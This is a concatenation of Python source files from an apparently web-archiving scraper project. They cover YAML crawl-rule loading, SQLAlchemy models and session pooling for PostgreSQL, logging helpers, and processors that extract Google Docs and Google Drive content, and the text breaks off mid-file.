	rules['type']                  = getGenreType(dat)

	rules['send_raw_feed']         = transmitFeeds(dat)
	rules['destyle']               = getDestyles(dat)
	rules['preserveAttrs']         = getPreserveAttrs(dat)
	rules['rewalk_interval_days']  = getRewalkIntervalDays(dat)
	rules['disallow_duplicate_path_segments']  = getDisallowDuplicatePathComponents(dat)

	rules['trigger']               = getTrigger(dat)
	if not rules['trigger']:
		rules['starturls']         = []

	rules['normal_fetch_mode']     = getRefetch(dat)

	rules['filename']              = fname
	special = getSpecialFilters(dat)

	return rules, special

def get_rules():
	cwd = os.path.split(__file__)[0]
	rulepath = os.path.join(cwd, "rules")

	items = os.listdir(rulepath)
	items.sort()
	ret = []
	specials = {}
	for item in [os.path.join(rulepath, item) for item in items if item.endswith('.yaml')]:

		with open(item, "r", encoding='utf-8') as fp:
			try:
				text = fp.read()
				# Fuck you YAML, tabs are better then spaces.
				# Also, single-space indentation discontinuity in
				# YAML causes the whole file to load wrong.
				text = text.replace("	", "    ")
				dat = yaml.load(text)
				rules, special = load_validate_rules(item, dat)
				if rules:
					ret.append(rules)

				if special:
					for key, val in special.items():
						specials[key] = val

				# print(item)
				assert 'starturls' in rules
				# print(rules['starturls'])

			except (yaml.scanner.ScannerError, yaml.parser.ParserError):
				print("ERROR!")
				print("Attempting to load file: '{}'".format(item))
				traceback.print_exc()
			except ValidationError:
				print("ERROR!")
				print("Validation error when trying to load file: '{}'".format(item))
				traceback.print_exc()
				print(dat)
			except AssertionError:
				print("ERROR!")
				print("Validation error when trying to load file: '{}'".format(item))
				traceback.print_exc()
				# print(dat)

	# for ruleset in ret:
	# 	print(type(ruleset['starturls']))

	assert [True for ruleset in ret if 'starturls' in ruleset and ruleset['starturls'] == None], "You must have a base ruleset for matching generic sites (with a baseurl value of `None`)"

	print("Loaded rulesets ({}):".format(len(ret)))

	# traceback.print_exc()
	# for ruleset in ret:
	# 	print(ruleset)
	# 	print()
	return ret, specials



def load_rules():

	if flags.RULE_CACHE == None or "debug" in sys.argv:
		print("Need to load rules (%s, %s)" % (flags.RULE_CACHE == None, "debug" in sys.argv))
		rules, specials = get_rules()

		# Might as well update both while we're here.
		flags.RULE_CACHE = rules
		flags.SPECIAL_CASE_CACHE = specials
	else:
		# print("Using cached rules")
		rules = flags.RULE_CACHE
	return rules



def load_special_case_sites():

	if flags.SPECIAL_CASE_CACHE == None or "debug" in sys.argv:
		print("Need to load special-url handling ruleset (%s, %s)" % (flags.SPECIAL_CASE_CACHE == None, "debug" in sys.argv))
		rules, specials = get_rules()

		# Might as well update both while we're here.
		flags.RULE_CACHE = rules
		flags.SPECIAL_CASE_CACHE = specials
	else:
		# print("Using cached special-handling command set")
		specials = flags.SPECIAL_CASE_CACHE
	return specials



def netloc_send_feed(netloc):
	for ruleset in load_rules():
		if ruleset['send_raw_feed']:
			if netloc in ruleset['netlocs']:
				return True
	return False

# Trigger cache-loading of the ruleset.

def startup():
	load_rules()
	load_special_case_sites()

startup()


if __name__ == "__main__":
	print(load_special_case_sites())

	# for ruleset in load_rules():
	# 	if ruleset['send_raw_feed'] == False:
	# 		print(ruleset['netlocs'])







import os
import sys
import multiprocessing
import threading

from sqlalchemy_continuum import make_versioned
make_versioned(user_cls=None)

from settings import MAX_DB_SESSIONS

DB_REALTIME_PRIORITY =    1 * 1000
DB_HIGH_PRIORITY     =   10 * 1000
DB_MED_PRIORITY      =   50 * 1000
DB_LOW_PRIORITY      =  100 * 1000
DB_IDLE_PRIORITY     =  500 * 1000

DB_DEFAULT_DIST      =   10 * 1000

MAX_DISTANCE         = 1000 * 1000

from sqlalchemy import create_engine
from sqlalchemy.orm import scoped_session
from sqlalchemy.orm import sessionmaker
from sqlalchemy import Table
# from sqlalchemy import MetaData

import time

import sqlalchemy as sa

from sqlalchemy import Column
from sqlalchemy import Integer
from sqlalchemy import BigInteger
from sqlalchemy import Text
from sqlalchemy import Float
from sqlalchemy import Boolean
from sqlalchemy import DateTime
from sqlalchemy import ForeignKey
from sqlalchemy import PrimaryKeyConstraint
from sqlalchemy import UniqueConstraint
from sqlalchemy.orm import relationship
from sqlalchemy.schema import UniqueConstraint

from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.ext.associationproxy import association_proxy
# from  sqlalchemy.sql.expression import func
# from citext import CIText

from sqlalchemy_utils.types import TSVectorType
from sqlalchemy_searchable import make_searchable

# Patch in knowledge of the citext type, so it reflects properly.
from sqlalchemy.dialects.postgresql.base import ischema_names
import citext
import queue
import datetime
from sqlalchemy.dialects.postgresql import ENUM
from sqlalchemy.dialects.postgresql import JSON
from sqlalchemy.dialects.postgresql import TSVECTOR
ischema_names['citext'] = citext.CIText

from settings import DATABASE_IP            as C_DATABASE_IP
from settings import DATABASE_DB_NAME       as C_DATABASE_DB_NAME
from settings import DATABASE_USER          as C_DATABASE_USER
from settings import DATABASE_PASS          as C_DATABASE_PASS

import traceback

from flask import g
import flags

SQLALCHEMY_DATABASE_URI = 'postgresql://{user}:{passwd}@{host}:5432/{database}'.format(user=C_DATABASE_USER, passwd=C_DATABASE_PASS, host=C_DATABASE_IP, database=C_DATABASE_DB_NAME)


SESSIONS = {}
ENGINES  = {}
POOL    = None


ENGINE_LOCK = multiprocessing.Lock()
SESSION_LOCK = multiprocessing.Lock()

def get_engine():
	cpid = multiprocessing.current_process().name
	ctid = threading.current_thread().name
	csid = "{}-{}".format(cpid, ctid)
	if not csid in ENGINES:
		with ENGINE_LOCK:
			# Check if the engine was created while we were
			# waiting on the lock.
			if csid in ENGINES:
				return ENGINES[csid]

			print("INFO: Creating engine for process! Engine name: '%s'" % csid)
			ENGINES[csid] = create_engine(SQLALCHEMY_DATABASE_URI,
						isolation_level="REPEATABLE READ")

	return ENGINES[csid]

def checkout_session():
	global POOL
	if not POOL:
		print("Creating pool")
		POOL = queue.Queue()
		for dummy_x in range(10):
			POOL.put(scoped_session(sessionmaker(bind=get_engine(), autoflush=False, autocommit=False))())


	cpid = multiprocessing.current_process().name
	ctid = threading.current_thread().name
	csid = "{}-{}".format(cpid, ctid)

	print("Getting DB session (avail: %s, ID: '%s')" % (POOL.qsize(), csid))
	sess = POOL.get()
	return sess

def release_session(session):
	POOL.put(session)
	print("Returning db handle to pool. Handles available: %s" % (POOL.qsize(), ))



def get_db_session(postfix=""):
	if flags.IS_FLASK:
		return g.session


	cpid = multiprocessing.current_process().name
	ctid = threading.current_thread().name
	csid = "{}-{}-{}".format(cpid, ctid, postfix)

	# print("Getting session for thread: %s" % csid)
	# print(traceback.print_stack())
	# print("==========================")


	if not csid in SESSIONS:
		with SESSION_LOCK:

			# check if the session was created while
			# we were waiting for the lock
			if csid in SESSIONS:
				# Reset the "last used" time on the handle
				SESSIONS[csid][0] = time.time()
				return SESSIONS[csid][1]

			SESSIONS[csid] = [time.time(), scoped_session(sessionmaker(bind=get_engine(), autoflush=False, autocommit=False))()]
			# print("Creating database interface:", SESSIONS[csid])

			# Delete the session that's oldest.
			if len(SESSIONS) > MAX_DB_SESSIONS:
				print("WARN: More then %s active sessions! Deleting oldest session to prevent session contention." % MAX_DB_SESSIONS)
				maxsz = sys.maxsize
				to_delete = None
				for key, value in SESSIONS.items():
					if value[0] < maxsz:
						to_delete = key
						maxsz = value[0]
				if to_delete:
					del SESSIONS[to_delete]

	# Reset the "last used" time on the handle
	SESSIONS[csid][0] = time.time()
	return SESSIONS[csid][1]

def delete_db_session(postfix=""):
	cpid = multiprocessing.current_process().name
	ctid = threading.current_thread().name
	csid = "{}-{}-{}".format(cpid, ctid, postfix)


	# print("Releasing session for thread: %s" % csid)
	# print(traceback.print_stack())
	# print("==========================")

	if csid in SESSIONS:
		with SESSION_LOCK:
			# check if the session was created while
			# we were waiting for the lock
			if not csid in SESSIONS:
				return SESSIONS[csid]
			SESSIONS[csid][1].close()
			del SESSIONS[csid]
			# print("Deleted session for id: ", csid)


# import traceback
# traceback.print_stack()


Base = declarative_base()
make_searchable()

dlstate_enum   = ENUM('new', 'fetching', 'processing', 'complete', 'error', 'removed', 'disabled', 'specialty_deferred', 'specialty_ready', name='dlstate_enum')
itemtype_enum  = ENUM('western', 'eastern', 'unknown',            name='itemtype_enum')


class WebPages(Base):
	__versioned__ = {}

	__tablename__ = 'web_pages'
	name = 'web_pages'

	id                = Column(Integer, primary_key = True, index = True)
	state             = Column(dlstate_enum, default='new', index=True, nullable=False)
	errno             = Column(Integer, default='0')
	url               = Column(Text, nullable = False, index = True, unique = True)
	starturl          = Column(Text, nullable = False)
	netloc            = Column(Text, nullable = False, index = True)

	# Foreign key to the files table if needed.
	file              = Column(Integer, ForeignKey('web_files.id'))

	priority          = Column(Integer, default=1000000, index=True, nullable=False)
	distance          = Column(Integer, index=True, nullable=False)

	is_text           = Column(Boolean, default=False)
	limit_netloc      = Column(Boolean, default=True)

	title             = Column(citext.CIText)
	mimetype          = Column(Text)
	type              = Column(itemtype_enum, default='unknown')

	# Disabled due to disk-space issues.
	# raw_content       = Column(Text)

	content           = Column(Text)

	fetchtime         = Column(DateTime, default=datetime.datetime.min)
	addtime           = Column(DateTime, default=datetime.datetime.utcnow)

	ignoreuntiltime   = Column(DateTime, default=datetime.datetime.min, nullable=False)

	# Items with `normal_fetch_mode` set to false are not retreived by the normal scheduling system
	# in WebMirror\Engine.py. This is to allow external systems that need to manage their own
	# fetch scheduling to operate within the same database.
	normal_fetch_mode = Column(Boolean, default=True)

	tsv_content       = Column(TSVectorType('content'))

	file_item         = relationship("WebFiles")




# File table doesn't know anything about URLs, since they're kept in the
# WebPages table entirely.
class WebFiles(Base):
	__tablename__ = 'web_files'
	id           = Column(Integer, primary_key = True)
	filename     = Column(Text)

	# File hash, used for deduplicating
	fhash        = Column(Text, index = True)

	fspath       = Column(Text, nullable=False)


##########################################################################################
##########################################################################################
##########################################################################################
##########################################################################################


feed_tags_link = Table(
		'feed_tags_link', Base.metadata,
		Column('releases_id', Integer, ForeignKey('feed_pages.id'), nullable=False),
		Column('tags_id',     Integer, ForeignKey('feed_tags.id'),     nullable=False),
		PrimaryKeyConstraint('releases_id', 'tags_id')
	)

feed_author_link = Table(
		'feed_authors_link', Base.metadata,
		Column('releases_id', Integer, ForeignKey('feed_pages.id'), nullable=False),
		Column('author_id',   Integer, ForeignKey('feed_author.id'),     nullable=False),
		PrimaryKeyConstraint('releases_id', 'author_id')
	)


class Tags(Base):
	__tablename__ = 'feed_tags'
	id          = Column(Integer, primary_key=True)
	tag         = Column(citext.CIText(), nullable=False, index=True)

	__table_args__ = (
		UniqueConstraint('tag'),
		)


class Author(Base):
	__tablename__ = 'feed_author'
	id          = Column(Integer, primary_key=True)
	author      = Column(citext.CIText(), nullable=False, index=True)

	__table_args__ = (
		UniqueConstraint('author'),
		)


def tag_creator(tag):

	tmp = get_db_session().query(Tags) \
		.filter(Tags.tag == tag)    \
		.scalar()
	if tmp:
		return tmp

	return Tags(tag=tag)

def author_creator(author):
	tmp = get_db_session().query(Author)    \
		.filter(Author.author == author) \
		.scalar()
	if tmp:
		return tmp
	return Author(author=author)


class FeedItems(Base):
	__tablename__ = 'feed_pages'

	id          = Column(Integer, primary_key=True)

	type        = Column(itemtype_enum, default='unknown', index=True)

	srcname      = Column(Text, nullable=False, index=True)
	feedurl      = Column(Text, nullable=False, index=True)
	contenturl   = Column(Text, nullable=False, index=True)
	contentid    = Column(Text, nullable=False, index=True, unique=True)

	title        = Column(Text)
	contents     = Column(Text)
	author       = Column(Text)


	updated      = Column(DateTime, default=datetime.datetime.min)
	published    = Column(DateTime, nullable=False)

	tag_rel       = relationship('Tags',       secondary=feed_tags_link,   backref='feed_pages')
	author_rel    = relationship('Author',     secondary=feed_author_link, backref='feed_pages')


	tags          = association_proxy('tag_rel',      'tag',       creator=tag_creator)
	author        = association_proxy('author_rel',   'author',    creator=author_creator)


# Tools for tracking plugins
class PluginStatus(Base):
	__tablename__ = 'plugin_status'
	id             = Column(Integer, primary_key = True)

	plugin_name    = Column(Text)

	is_running     = Column(Boolean, default=False)

	last_run       = Column(DateTime)
	last_run_end   = Column(DateTime)

	last_error     = Column(DateTime)
	last_error_msg = Column(Text)



# 'seriesname'       : series.get_text().strip(),
# 'releaseinfo'      : release.get_text().strip(),
# 'groupinfo'        : group.get_text().strip(),
# 'referrer'         : currentUrl,
# 'outbound_wrapper' : release.find('a', class_='chp-release')['href'],
# 'actual_target'    : None,

# 'client_id'        : self.settings['clientid'],
# 'client_key'       : self.settings['client_key'],

# Tools for tracking plugins
class NuOutboundWrapperMap(Base):
	__tablename__ = 'nu_outbound_wrappers'
	id               = Column(Integer, primary_key = True)

	client_id        = Column(Text, index=True)
	client_key       = Column(Text, index=True)

	seriesname       = Column(Text, index=True)
	releaseinfo      = Column(Text)
	groupinfo        = Column(Text, index=True)
	referrer         = Column(Text)
	outbound_wrapper = Column(Text)
	actual_target    = Column(Text)

	released_on      = Column(DateTime, default=datetime.datetime.utcnow)

	validated        = Column(Boolean, default=False)


	__table_args__ = (
		UniqueConstraint('client_id', 'client_key', 'seriesname', 'releaseinfo', 'groupinfo', 'actual_target'),
		)

sa.orm.configure_mappers()

# Base.metadata.create_all(bind=get_engine(), checkfirst=True)



# More indexes:
#
# CREATE INDEX idx_web_pages_title ON web_pages USING gin(to_tsvector('english', title));
# CREATE INDEX idx_web_pages_content ON web_pages USING gin(to_tsvector('english', content));
#
# Essential for fast task get queries
# CREATE INDEX ix_web_pages_distance_filtered ON web_pages (priority ASC NULLS LAST) WHERE web_pages.state = 'new'::dlstate_enum AND web_pages.distance < 1000000;
# CREATE INDEX ix_web_pages_distance_filtered_2 ON web_pages (priority ASC NULLS LAST, distance, normal_fetch_mode, ignoreuntiltime) WHERE web_pages.state = 'new'::dlstate_enum AND web_pages.distance < 1000000;
#


# SELECT relname AS "relation", pg_size_pretty(pg_relation_size(C.oid)) AS "size"
#   FROM pg_class C LEFT JOIN pg_namespace N ON (N.oid = C.relnamespace)
#   WHERE nspname NOT IN ('pg_catalog', 'information_schema')
#   ORDER BY pg_relation_size(C.oid) DESC;

# SELECT relname AS "relation",
#     pg_size_pretty(pg_total_relation_size(C.oid)) AS "total_size"
#   FROM pg_class C
#   LEFT JOIN pg_namespace N ON (N.oid = C.relnamespace)
#   WHERE nspname NOT IN ('pg_catalog', 'information_schema')
#     AND C.relkind <> 'i'
#     AND nspname !~ '^pg_toast'
#   ORDER BY pg_total_relation_size(C.oid) DESC;


# CREATE INDEX
#     ix_web_pages_distance_filtered_nowp
# ON
#     web_pages(priority)
# WHERE
#     state = 'new'::dlstate_enum
# AND
#     distance < 1000000
# AND
#     normal_fetch_mode = true
# AND NOT
#     (
#             web_pages.netloc = 'a.wattpad.com'
#         OR
#             web_pages.netloc = 'www.wattpad.com'
#     );

# CREATE INDEX
#     ix_web_pages_distance_filtered_wp
# ON
#     web_pages(priority)
# WHERE
#     state = 'new'::dlstate_enum
# AND
#     distance < 1000000
# AND
#     normal_fetch_mode = true
# AND  (
#             web_pages.netloc = 'a.wattpad.com'
#         OR
#             web_pages.netloc = 'www.wattpad.com'
#     );


# EXPLAIN ANALYZE UPDATE web_pages SET fetchtime='now'::timestamp WHERE id=428615139;
# EXPLAIN ANALYZE UPDATE web_pages SET tsv_content = NULL WHERE id=428615139;

# SELECT  tsv_content FROM web_pages WHERE id=428615139;

'''
CREATE OR REPLACE FUNCTION web_pages_content_update_func() RETURNS TRIGGER AS $_$
BEGIN
    --
    -- Create a row in {name}changes to reflect the operation performed on emp,
    -- make use of the special variable TG_OP to work out the operation.
    --
    IF TG_OP = 'INSERT' THEN
        IF NEW.content IS NOT NULL THEN
            NEW.tsv_content = to_tsvector(coalesce(NEW.content));
        END IF;
    ELSEIF TG_OP = 'UPDATE' THEN
        IF NEW.content != OLD.content THEN
            NEW.tsv_content = to_tsvector(coalesce(NEW.content));
        END IF;
    END IF;
    RETURN NEW;
END $_$ LANGUAGE 'plpgsql';


CREATE TRIGGER
    update_row_count_trigger
BEFORE INSERT OR UPDATE ON
    web_pages
FOR EACH ROW EXECUTE PROCEDURE
    web_pages_content_update_func();




DELETE FROM
    web_pages_version
WHERE
    url
IN
(
    SELECT
        url
    FROM
        web_pages_version
    GROUP BY
        url HAVING COUNT(url) > 1000
)


EXPLAIN
SELECT
    count(*), url
FROM
    web_pages_version
GROUP BY
    url
HAVING
    COUNT(*) > 1
ORDER BY
    COUNT(*) DESC
;

SELECT pg_terminate_backend(pid)
  FROM pg_stat_activity
 WHERE  usename='webarchuser';


'''








import logging
import threading
import multiprocessing
import abc

class LoggerMixin(metaclass=abc.ABCMeta):

	@abc.abstractproperty
	def loggerPath(self):
		pass

	@property
	def log(self):
		if not hasattr(self, 'loggers'):
			self.loggers = {}
		if not hasattr(self, 'lastLoggerIndex'):
			self.lastLoggerIndex = 1

		threadName = threading.current_thread().name
		procName   = multiprocessing.current_process().name

		if "Thread-" in threadName:
			if threadName not in self.loggers:
				self.loggers[threadName] = logging.getLogger("%s.%s" % (self.loggerPath, threadName))
				self.lastLoggerIndex += 1
			return self.loggers[threadName]
		elif "Process-" in procName:
			if procName not in self.loggers:
				self.loggers[procName] = logging.getLogger("%s.%s" % (self.loggerPath, procName))
				self.lastLoggerIndex += 1
			return self.loggers[procName]

		else:
			# If we're not called in the context of a thread, just return the base log-path
			self.loggers[threadName] = logging.getLogger("%s" % (self.loggerPath,))
			return self.loggers[threadName]



class TestClass(LoggerMixin):
	loggerPath = 'Main.Wat'

	def test(self):
		self.log.info("Wat?")



if __name__ == "__main__":
	print("Test mode!")
	import logSetup
	logSetup.initLogging()


	scraper = TestClass()
	print(scraper)
	extr = scraper.test()
	# print(extr['fLinks'])








import traceback

class DownloadException(Exception):
	pass

class CannotAccessGDocException(DownloadException):
	pass


def getErrorDiv():
	content = '''
<div>
	<h2>Error!</h2>
	<pre>
	{tb}
	</pre>
</div>

	'''.format(tb=traceback.format_exc())
	title = "Error fetching content!"
	cachestate = "Wat"
	return title, content, cachestate









import runStatus
runStatus.preloadDicts = False

# import Levenshtein as lv

import urllib.parse

import bs4
import copy
import hashlib
import os.path

import traceback
import WebMirror.util.webFunctions

from WebMirror.processor.ProcessorBase import PageProcessor
# import TextScrape.SiteArchiver


import WebMirror.util.urlFuncs as urlFuncs
import WebMirror.processor.ProcessorUtils.gDocParse as gdp

# import TextScrape.RelinkLookup
# import TextScrape.RELINKABLE as RELINKABLE



########################################################################################################################
#
#	##     ##    ###    #### ##    ##     ######  ##          ###     ######   ######
#	###   ###   ## ##    ##  ###   ##    ##    ## ##         ## ##   ##    ## ##    ##
#	#### ####  ##   ##   ##  ####  ##    ##       ##        ##   ##  ##       ##
#	## ### ## ##     ##  ##  ## ## ##    ##       ##       ##     ##  ######   ######
#	##     ## #########  ##  ##  ####    ##       ##       #########       ##       ##
#	##     ## ##     ##  ##  ##   ###    ##    ## ##       ##     ## ##    ## ##    ##
#	##     ## ##     ## #### ##    ##     ######  ######## ##     ##  ######   ######
#
########################################################################################################################




class GdocPageProcessor(PageProcessor):


	wanted_mimetypes = ['text/html']
	want_priority    = 90

	@staticmethod
	def wantsUrl(url):
		return urlFuncs.isGdocUrl(url)[0]

	loggerPath = "Main.Text.GdocPageProcessor"

	def __init__(self, pageUrl, pgContent, loggerPath, relinkable, scannedDomains=None, tlds=None, **kwargs):
		self.loggerPath = loggerPath+".GDocExtract"
		self.pageUrl    = pageUrl


		self._relinkDomains = set()
		for url in relinkable:
			self._relinkDomains.add(url)


		self._tld            = set()
		self._scannedDomains = set()

		# Tell the path filtering mechanism that we can fetch google doc files
		# Not switchable, since not fetching google docs content from a google docs page
		# wouldn't work too well.
		self._scannedDomains.add('https://docs.google.com/document/')
		self._scannedDomains.add('https://docs.google.com/spreadsheets/')
		self._scannedDomains.add('https://drive.google.com/folderview')
		self._scannedDomains.add('https://drive.google.com/open')

		if not scannedDomains:
			scannedDomains = []
		if not tlds:
			tlds = []

		# Build the filtering structures for checking outgoing links.
		for tld in tlds:
			self._tld.add(tld)


		if isinstance(scannedDomains, (set, list)):
			for url in scannedDomains:
				self.installBaseUrl(url)
		else:
			self.installBaseUrl(scannedDomains)

		# File mapping LUT
		self.fMap = {}

	def installBaseUrl(self, url):
		# print("Inserting ", url)
		netloc = urllib.parse.urlsplit(url.lower()).netloc
		if not netloc:
			raise ValueError("One of the scanned domains collapsed down to an empty string: '%s'!" % url)

		# Generate the possible wordpress netloc values.
		if 'wordpress.com' in netloc:
			subdomain, mainDomain, tld = netloc.rsplit(".")[-3:]

			self._scannedDomains.add("www.{sub}.{main}.{tld}".format(sub=subdomain, main=mainDomain, tld=tld))
			self._scannedDomains.add("{sub}.{main}.{tld}".format(sub=subdomain, main=mainDomain, tld=tld))
			self._scannedDomains.add("www.{sub}.files.{main}.{tld}".format(sub=subdomain, main=mainDomain, tld=tld))
			self._scannedDomains.add("{sub}.files.{main}.{tld}".format(sub=subdomain, main=mainDomain, tld=tld))

		# Blogspot is annoying and sometimes a single site is spread over several tlds. *.com, *.sg, etc...
		if 'blogspot.' in netloc:
			subdomain, mainDomain, tld = netloc.rsplit(".")[-3:]
			self._tld.add(tld)
			for tld in self._tld:
				self._scannedDomains.add("www.{sub}.{main}.{tld}".format(sub=subdomain, main=mainDomain, tld=tld))
				self._scannedDomains.add("{sub}.{main}.{tld}".format(sub=subdomain, main=mainDomain, tld=tld))

		if 'sites.google.com/site/' in url:
			self._scannedDomains.add(url)

		elif 'google.' in netloc:
			self.log.info("Skipping URL: '%s'", url)

		else:

			base, tld = netloc.rsplit(".", 1)
			self._tld.add(tld)
			for tld in self._tld:
				self._scannedDomains.add("{main}.{tld}".format(main=base, tld=tld))
				# print(self._scannedDomains)



	########################################################################################################################
	#
	#	 ######    #######   #######   ######   ##       ########    ########   #######   ######   ######
	#	##    ##  ##     ## ##     ## ##    ##  ##       ##          ##     ## ##     ## ##    ## ##    ##
	#	##        ##     ## ##     ## ##        ##       ##          ##     ## ##     ## ##       ##
	#	##   #### ##     ## ##     ## ##   #### ##       ######      ##     ## ##     ## ##        ######
	#	##    ##  ##     ## ##     ## ##    ##  ##       ##          ##     ## ##     ## ##             ##
	#	##    ##  ##     ## ##     ## ##    ##  ##       ##          ##     ## ##     ## ##    ## ##    ##
	#	 ######    #######   #######   ######   ######## ########    ########   #######   ######   ######
	#
	########################################################################################################################


	def processGdocResources(self, resources):

		# Expected format of tuples in ret:
		# fName, mimeType, content, fHash
		ret = []


		for fName, mimeType, content in resources:
			m = hashlib.md5()
			m.update(content)
			fHash = m.hexdigest()


			pseudoUrl = "gdoc-"+fHash

			self.fMap[fName] = fHash

			fName = os.path.split(fName)[-1]

			self.log.info("Resource = '%s', '%s', '%s'", fName, mimeType, pseudoUrl)
			if mimeType in ["image/gif", "image/jpeg", "image/pjpeg", "image/png", "image/svg+xml", "image/vnd.djvu"]:
				self.log.info("Processing resource '%s' as an image file. (mimetype: %s)", fName, mimeType)
				ret.append((fName, mimeType, content, pseudoUrl))
			elif mimeType in ["application/octet-stream"]:
				self.log.info("Processing '%s' as an binary file.", fName)
				ret.append((fName, mimeType, content, pseudoUrl))
			else:
				self.log.warn("Unknown MIME Type? '%s', FileName: '%s'", mimeType, fName)

		if len(resources) == 0:
			self.log.info("File had no resource content!")

		return ret



	def cleanGdocPage(self, soup, url):
		# doc = readability.readability.Document(str(soup))
		title = self.extractTitle(soup, url)

		for span in soup.find_all("span"):
			span.unwrap()

		for style in soup.find_all('style'):
			style.decompose()

		for tag in soup.find_all(attrs = {'class' : True}):
			del tag['class']

		return title, soup



	# Hook so plugins can modify the internal URLs as part of the relinking process
	def preprocessGdocReaderUrl(self, inUrl):
		if inUrl.lower().endswith("/preview"):
			inUrl = inUrl[:-len("/preview")]

		return inUrl


	def convertToGdocReaderImage(self, srcUrl):

		itemHash = None
		for rscEnd in self.fMap:
			if srcUrl.endswith(rscEnd):
				itemHash = self.fMap[rscEnd]

		# if srcUrl in self.fMap:
		# 	url = self.fMap[srcUrl]
		# elif any([fUrl in url for fUrl in self.fMap]):
		# 	print('wat')
		# 	raise ValueError("Unknown image URL! = '%s'" % url)
		if not itemHash:
			raise ValueError("Unknown image URL! = '%s' (hash '%s')" % (srcUrl, itemHash))

		url = '/books/render?mdsum=%s' % urllib.parse.quote(itemHash)

		return url



	def processGdocPage(self, url, content):
		dummy_fName, content = content
		soup = WebMirror.util.webFunctions.as_soup(content)
		urlFuncs.canonizeUrls(soup, url)

		pgTitle, soup = self.cleanGdocPage(soup, url)

		plainLinks = self.extractLinks(soup, url)
		self.log.info("Page title = '%s'", pgTitle)
		soup = self.relink(soup, imRelink=self.convertToGdocReaderImage)

		url = self.preprocessGdocReaderUrl(url)
		url = urlFuncs.trimGDocUrl(url)
		# Since the content we're extracting will be embedded into another page, we want to
		# strip out the <body> and <html> tags. `unwrap()`  replaces the soup with the contents of the
		# tag it's called on. We end up with just the contents of the <body> tag.
		soup.body.unwrap()
		pgBody = soup.prettify()

		# No image links, since they're served as resource files in a google doc
		imageLinks = []
		return plainLinks, imageLinks, pgTitle, pgBody
		# self.updateDbEntry(url=url, title=pgTitle, contents=pgBody, mimetype='text/html', dlstate=2)



	def retreiveGoogleDoc(self, url):


		self.log.info("Should fetch google doc at '%s'", url)
		doc = gdp.GDocExtractor(url)



		attempts = 0


		mainPage = None
		while 1:
			attempts += 1
			try:
				mainPage, resources = doc.extract()
			except TypeError:
				self.log.critical('Extracting item failed!')
				for line in traceback.format_exc().strip().split("\n"):
					self.log.critical(line.strip())


					raise urlFuncs.CannotAccessGDocException("Cannot access google doc! Is it protected?")

			if mainPage:
				break
			if attempts > 3:
				raise TextScrape.SiteArchiver.DownloadException

		resources = self.processGdocResources(resources)

		return self.processGdocPage(url, mainPage) + (resources, )




	# Process a Google-Doc resource page.
	# This call does a set of operations to permute and clean a google doc page.
	def extractContent(self):

		plainLinks, imageLinks, pgTitle, pgBody, resources = self.retreiveGoogleDoc(self.pageUrl)

		ret = {}
		ret['plainLinks'] = plainLinks
		ret['rsrcLinks']  = imageLinks
		ret['title']      = pgTitle
		ret['contents']   = pgBody

		ret['resources'] = resources

		return ret


def test():
	print("Test mode!")
	import webFunctions
	import logSetup
	logSetup.initLogging()

	wg = webFunctions.WebGetRobust()
	# content = wg.getpage('http://www.arstechnica.com')
	scraper = GdocPageProcessor('https://docs.google.com/document/d/1atXMtCutHRpcHwSRS5UyMAC58_gQjMPR2dDVn1LCD3E', 'Main.Test', 'testinating')
	print(scraper)
	extr, rsc = scraper.extractContent()
	print('Plain Links:')
	for link in extr['plainLinks']:
		print(link)
	print()
	print()
	print('Resource files:')
	# for link in extr['rsrcLinks']:
	# 	print(link)

	for fName, mimeType, content, pseudoUrl in rsc:
		print(fName, mimeType, pseudoUrl)
	# print(extr['contents'])



if __name__ == "__main__":
	test()










import runStatus
runStatus.preloadDicts = False

# import Levenshtein as lv

import urllib.parse

import bs4
import copy
import hashlib
import os.path

# import TextScrape.ProcessorBase
import WebMirror.processor.ProcessorBase as ProcessorBase


import WebMirror.processor.ProcessorUtils.gDocParse as gdp

import WebMirror.util.urlFuncs as urlFuncs

# import TextScrape.RELINKABLE as RELINKABLE
# import TextScrape.RelinkLookup




########################################################################################################################
#
#	##     ##    ###    #### ##    ##     ######  ##          ###     ######   ######
#	###   ###   ## ##    ##  ###   ##    ##    ## ##         ## ##   ##    ## ##    ##
#	#### ####  ##   ##   ##  ####  ##    ##       ##        ##   ##  ##       ##
#	## ### ## ##     ##  ##  ## ## ##    ##       ##       ##     ##  ######   ######
#	##     ## #########  ##  ##  ####    ##       ##       #########       ##       ##
#	##     ## ##     ##  ##  ##   ###    ##    ## ##       ##     ## ##    ## ##    ##
#	##     ## ##     ## #### ##    ##     ######  ######## ##     ##  ######   ######
#
########################################################################################################################




GLOBAL_BAD = [
			'gprofiles.js',
			'netvibes.com',
			'accounts.google.com',
			'edit.yahoo.com',
			'add.my.yahoo.com',
			'public-api.wordpress.com',
			'r-login.wordpress.com',
			'twitter.com',
			'facebook.com',
			'public-api.wordpress.com',
			'wretch.cc',
			'ws-na.amazon-adsystem.com',
			'delicious.com',
			'paypal.com',
			'digg.com',
			'topwebfiction.com',
			'/page/page/',
			'addtoany.com',
			'stumbleupon.com',
			'delicious.com',
			'reddit.com',
			'newsgator.com',
			'technorati.com',
	]

class GDriveDirProcessor(ProcessorBase.PageProcessor):


	wanted_mimetypes = ['text/html']
	want_priority    = 91

	@staticmethod
	def wantsUrl(url):
		return urlFuncs.isGFileUrl(url)[0]

	loggerPath = "Main.Text.GDriveDirProcessor"

	def __init__(self, pageUrl, loggerPath, relinkable, **kwargs):
		self.loggerPath = loggerPath+".GDrvDirExtract"

		self.pageUrl  = pageUrl

		# We can be a bit lazy here, since google drive folders
		# can basically only contain google docs content.
		# As such, the extensive relinking system isn't warranted.

		self._relinkDomains = set()
		for url in relinkable:
			self._relinkDomains.add(url)


		self._scannedDomains = set()

		# Tell the path filtering mechanism that we can fetch google doc files
		# Not switchable, since not fetching google docs content from a google drive
		# item wouldn't work too well.
		self._scannedDomains.add('https://docs.google.com/document/')
		self._scannedDomains.add('https://docs.google.com/spreadsheets/')
		self._scannedDomains.add('https://drive.google.com/folderview')
		self._scannedDomains.add('https://drive.google.com/open')


	########################################################################################################################
	#
	#	 ######    #######   #######   ######   ##       ########         ########  ########  #### ##     ## ########
	#	##    ##  ##     ## ##     ## ##    ##  ##       ##               ##     ## ##     ##  ##  ##     ## ##
	#	##        ##     ## ##     ## ##        ##       ##               ##     ## ##     ##  ##  ##     ## ##
	#	##   #### ##     ## ##     ## ##   #### ##       ######           ##     ## ########   ##  ##     ## ######
	#	##    ##  ##     ## ##     ## ##    ##  ##       ##               ##     ## ##   ##    ##   ##   ##  ##
